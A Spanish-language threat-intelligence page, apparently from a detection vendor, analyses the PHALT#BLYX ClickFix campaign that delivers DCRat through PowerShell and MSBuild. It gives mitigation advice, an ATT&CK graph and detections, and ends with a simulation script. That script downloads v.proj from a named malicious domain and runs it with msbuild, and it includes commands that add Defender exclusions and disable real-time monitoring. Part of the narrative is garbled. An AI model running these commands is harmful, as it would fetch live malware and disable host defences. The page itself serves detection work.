Análisis de PHALT#BLYX: Falsos BSODs y Herramientas de Construcción Confiables en Cadenas de Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe detalla una cadena de intrusión de varias etapas que afecta al sector hotelero que combina una página de destino falsa de Booking.com, una animación engañosa similar a una pantalla azul y un mensaje estilo ClickFix para persuadir a los usuarios a ejecutar un dropper de PowerShell. Ese dropper recupera un archivo de proyecto MSBuild, que ejecuta un cargador DCRat personalizado. El cargador altera Windows Defender, establece persistencia utilizando un acceso directo de inicio .url e inyecta su carga útil en procesos legítimos. Al apoyarse en utilidades de life-off-the-land como PowerShell y MSBuild.exe, los operadores reducen las huellas evidentes de malware. También se observan artefactos en ruso en la cadena como una pista de atribución.
Investigación
Los investigadores de Securonix mapearon el flujo desde correos electrónicos de phishing que ofrecen enlaces de ‘cancelación de reservación’ hacia un dominio malicioso, luego hacia un comando de línea de PowerShell que localiza msbuild.exe, descarga un archivo v.proj y lo ejecuta. El proyecto v.proj realiza múltiples acciones: agrega exclusiones a Windows Defender, descarga staxs.exe (una variante de DCRat), crea un acceso directo de inicio .url para persistencia y se conecta a la infraestructura de comando y control por el puerto 3535. El cargador luego comprime e inyecta la etapa final en aspnet_compiler.exe, usando hollowing de proceso para mezclarse con actividad legítima.
Mitigación
Reduzca la exposición entrenando a los usuarios para reconocer mensajes estilo ClickFix y la ingeniería social de «ejecuta este comando para solucionar». Monitoree y restrinja la ejecución de MSBuild.exe, especialmente cuando se invoque desde rutas inusuales o flujos de trabajo dirigidos por el usuario, y habilite el registro de bloque de script de PowerShell para una mejor visibilidad. Añada detecciones para la creación de accesos directos .url en la carpeta de Inicio y para las modificaciones a las exclusiones de Windows Defender. En la capa de red, bloquee el tráfico saliente a los dominios maliciosos identificados y restrinja explícitamente o alerte sobre salidas sospechosas al TCP/3535 donde no sea requerido.
Respuesta
Si se detecta actividad, aísle el host y preserve los artefactos clave incluyendo v.proj, staxs.exe y cualquier archivo de acceso directo .url de Inicio. Elimine exclusiones no autorizadas de Defender, termine procesos maliciosos o inyectados, y bloquee los dominios/IPs asociados de C2, especialmente cualquier comunicación a través del puerto 3535. Restablezca credenciales potencialmente expuestas, ejecute un escaneo completo de malware y examine el entorno para patrones similares de ejecución de MSBuild y comandos de PowerShell. Finalmente, despliegue detecciones informadas por inteligencia de amenazas que se centren en el abuso de MSBuild, el comportamiento de ClickFix y la persistencia mediante accesos directos de Inicio para prevenir recurrencias.
«graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodos u2013 Acciones action_phishing[«<b>Acción</b> – <b>T1566.002 Spearphishing Link</b><br/><b>Descripción</b>: La víctima recibe un correo electrónico que parece ser de Booking.com y hace clic en un enlace malicioso a un sitio de reservas falso.»] class action_phishing action action_user_execution[«<b>Acción</b> – <b>T1204.001 Ejecución de Usuario</b> & <b>T1204.004 Copiar y Pegar Malintencionado</b><br/><b>Descripción</b>: El sitio falso muestra una página similar a BSOD que le indica al usuario pegar un comando PowerShell en el cuadro de diálogo Ejecutar.»] class action_user_execution action action_defense_evasion_exclusions[«<b>Acción</b> – <b>T1562 Deterioro de Defensas</b> & <b>T1564.012 Exclusiones de Archivo/Ruta</b><br/><b>Descripción</b>: El script v.proj agrega exclusiones de Windows Defender para ProgramData y extensiones ejecutables comunes.»] class action_defense_evasion_exclusions action action_persistence_shortcut[«<b>Acción</b> – <b>T1547.009 Modificación de Accesos Directos</b><br/><b>Descripción</b>: Crea un Acceso Directo de Internet (.url) en la carpeta de Inicio del usuario que apunta al ejecutable descargado.»] class action_persistence_shortcut action action_process_hollowing[«<b>Acción</b> – <b>T1055.012 Vaciamiento de Proceso</b><br/><b>Descripción</b>: Inyecta la carga útil final de DCRat en aspnet_compiler.exe usando vaciamiento de proceso.»] class action_process_hollowing action action_reflective_loading[«<b>Acción</b> – <b>T1620 Carga de Código Reflectivamente</b><br/><b>Descripción</b>: Carga cargas útiles DLL adicionales reflectivamente a través de Assembly.Load.»] class action_reflective_loading action action_c2_nonstandard_port[«<b>Acción</b> – <b>T1571 Puerto No Estándar</b><br/><b>Descripción</b>: RAT se comunica con servidores C2 sobre el puerto TCP 3535.»] class action_c2_nonstandard_port action action_c2_dynamic_resolution[«<b>Acción</b> – <b>T1568 Resolución Dinámica</b><br/><b>Descripción</b>: Resuelve múltiples dominios C2 (por ejemplo, asj77.com) en tiempo de ejecución.»] class action_c2_dynamic_resolution action action_obfuscation[«<b>Acción</b> – <b>T1027.005 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: Las cargas útiles están fuertemente ofuscadas y empaquetadas para evadir la detección estática.»] class action_obfuscation action %% Nodos u2013 Herramientas tool_powershell[«<b>Herramienta</b> – <b>T1059.001 PowerShell</b><br/><b>Descripción</b>: Ejecuta el comando malicioso que descarga el archivo de proyecto MSBuild.»] class tool_powershell tool tool_msbuild[«<b>Herramienta</b> – <b>T1127.001 MSBuild</b><br/><b>Descripción</b>: Utilidad de desarrollador de confianza utilizada para compilar y ejecutar el archivo v.proj malicioso.»] class tool_msbuild tool tool_aspnet_compiler[«<b>Herramienta</b> – aspnet_compiler.exe<br/><b>Descripción</b>: Compilador .NET legítimo utilizado como objetivo para vaciamiento de proceso.»] class tool_aspnet_compiler process %% Nodos u2013 Malware / Archivos malware_vproj[«<b>Malware</b> – v.proj (proyecto MSBuild malicioso)<br/><b>Descripción</b>: Descargado por PowerShell, compilado por MSBuild, agrega exclusiones al defensor y suelta la carga útil.»] class malware_vproj malware malware_dcrat[«<b>Malware</b> – carga útil DCRat<br/><b>Descripción</b>: Troyano de acceso remoto final inyectado en aspnet_compiler.exe.»] class malware_dcrat malware file_shortcut[«<b>Archivo</b> – Acceso directo de inicio (.url)<br/><b>Descripción</b>: Apunta al ejecutable DCRat descargado y asegura autoejecución al inicio de sesión.»] class file_shortcut file folder_startup[«<b>Carpeta</b> – Directorio de inicio<br/><b>Descripción</b>: Contiene el acceso directo malicioso que causa persistencia.»] class folder_startup folder file_dcrat_exe[«<b>Archivo</b> – Ejecutable DCRat descargado<br/><b>Descripción</b>: Ejecutado después de la activación del acceso directo.»] class file_dcrat_exe file dll_payloads[«<b>Archivo</b> – Cargas útiles DLL adicionales<br/><b>Descripción</b>: Cargadas reflectivamente por la carga útil DCRat.»] class dll_payloads file port_3535[«<b>Red</b> – Puerto TCP 3535<br/><b>Descripción</b>: Usado para comunicación C2.»] class port_3535 file domain_asj77[«<b>Red</b> – asj77.com (dominio C2)<br/><b>Descripción</b>: Resuelto en tiempo de ejecución para comando y control.»] class domain_asj77 file %% Conexiones u2013 Flujo action_phishing u002du002d>|lleva a| action_user_execution action_user_execution u002du002d>|ejecuta| tool_powershell tool_powershell u002du002d>|descarga| malware_vproj malware_vproj u002du002d>|compilado por| tool_msbuild tool_msbuild u002du002d>|ejecuta| malware_vproj malware_vproj u002du002d>|agrega| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|crea| file_shortcut file_shortcut u002du002d>|colocado en| folder_startup folder_startup u002du002d>|carga| file_dcrat_exe malware_vproj u002du002d>|deja caer| file_dcrat_exe file_dcrat_exe u002du002d>|ejecuta| malware_dcrat malware_dcrat u002du002d>|inyecta en| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|vacío por| malware_dcrat malware_dcrat u002du002d>|cargas reflectivamente| dll_payloads malware_dcrat u002du002d>|se comunica a través de| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|usa| port_3535 malware_dcrat u002du002d>|usa resolución dinámica| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|resuelve a| domain_asj77 malware_dcrat u002du002d>|ofuscado por| action_obfuscation «
Flujo de Ataque
Detecciones
Descargar o Cargar a través de Powershell (via cmdline)
Ver
Cambios Sospechosos de Preferencias de Windows Defender (a través de powershell)
Ver
Puntos de Posible Persistencia [ASEPs – Software / Colmena NTUSER] (a través de registry_event)
Ver
Binarios / Scripts Sospechosos en Ubicación de Autoinicio (a través de file_event)
Ver
IOCs (HashSha512) para detectar: Analizando PHALT#BLYX: Cómo se Usan Falsos BSODs y Herramientas de Construcción Confiables para Construir una Infección de Malware
Ver
IOCs (SourceIP) para detectar: Analizando PHALT#BLYX: Cómo se Usan Falsos BSODs y Herramientas de Construcción Confiables para Construir una Infección de Malware
Ver
IOCs (HashSha256) para detectar: Analizando PHALT#BLYX: Cómo se Usan Falsos BSODs y Herramientas de Construcción Confiables para Construir una Infección de Malware
Ver
IOCs (DestinationIP) para detectar: Analizando PHALT#BLYX: Cómo se Usan Falsos BSODs y Herramientas de Construcción Confiables para Construir una Infección de Malware
Ver
Ejecución de Carga Maliciosa PHALT#BLYX a través de MSBuild y Process Hollowing [Creación de Procesos de Windows]
Ver
Campaña de Malware PHALT#BLYX Usando PowerShell y MSBuild para Infección [Powershell de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa del Vuelo de Telemetría y Línea Base debe haber sido pasada.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa reflejan directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El actor de amenaza abre una sesión de PowerShell en un punto final comprometido. Primero localizan elbinario msbuild.exe, luego descargan un proyecto MSBuild malicioso (binary, then download a malicious MSBuild project (v.proj) aC:ProgramData. El atacante invoca inmediatamentebinario msbuild.exe, luego descargan un proyecto MSBuild malicioso (para ejecutar la carga útil, que deja caer una segunda etapa. Finalmente, alteran Windows Defender agregando exclusiones y deshabilitando la monitorización en tiempo real para asegurar la persistencia. -
Script de Prueba de Regresión:
# Script de simulación PHALT#BLYX – reproduce la actividad que dispara la detección # -------------------------------------------------------------- # 1. Localiza msbuild.exe $msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName # 2. Descarga proyecto MSBuild malicioso a ProgramData $projUrl = "https://2fa-bns.com/v.proj" $dest = "$env:ProgramDatav.proj" Invoke-WebRequest -Uri $projUrl -OutFile $dest # 3. Ejecuta el proyecto con msbuild.exe & $msb $dest # 4. Modifica configuraciones de Windows Defender (cualquiera de las siguientes satisfará la regla) # Descomente las líneas deseadas para simular las acciones del atacante. # Añadir ruta de exclusión # Add-MpPreference -ExclusionPath "$env:ProgramData" # Añadir exclusión para archivos .exe # Add-MpPreference -ExclusionExtension ".exe" # Añadir exclusión para archivos .ps1 # Add-MpPreference -ExclusionExtension ".ps1" # Desactiva monitorización en tiempo real # Set-MpPreference -DisableRealtimeMonitoring $true -
Comandos de Limpieza:
# Elimina el archivo de proyecto dejado caer Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue # Restaura la monitorización en tiempo real de Windows Defender (si fue desactivada) Set-MpPreference -DisableRealtimeMonitoring $false # Elimina cualquier exclusión añadida (ejemplo para exclusión de ruta) Remove-MpPreference -ExclusionPath "$env:ProgramData" # Opcionalmente elimina cualquier archivo restante creado por la carga # Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue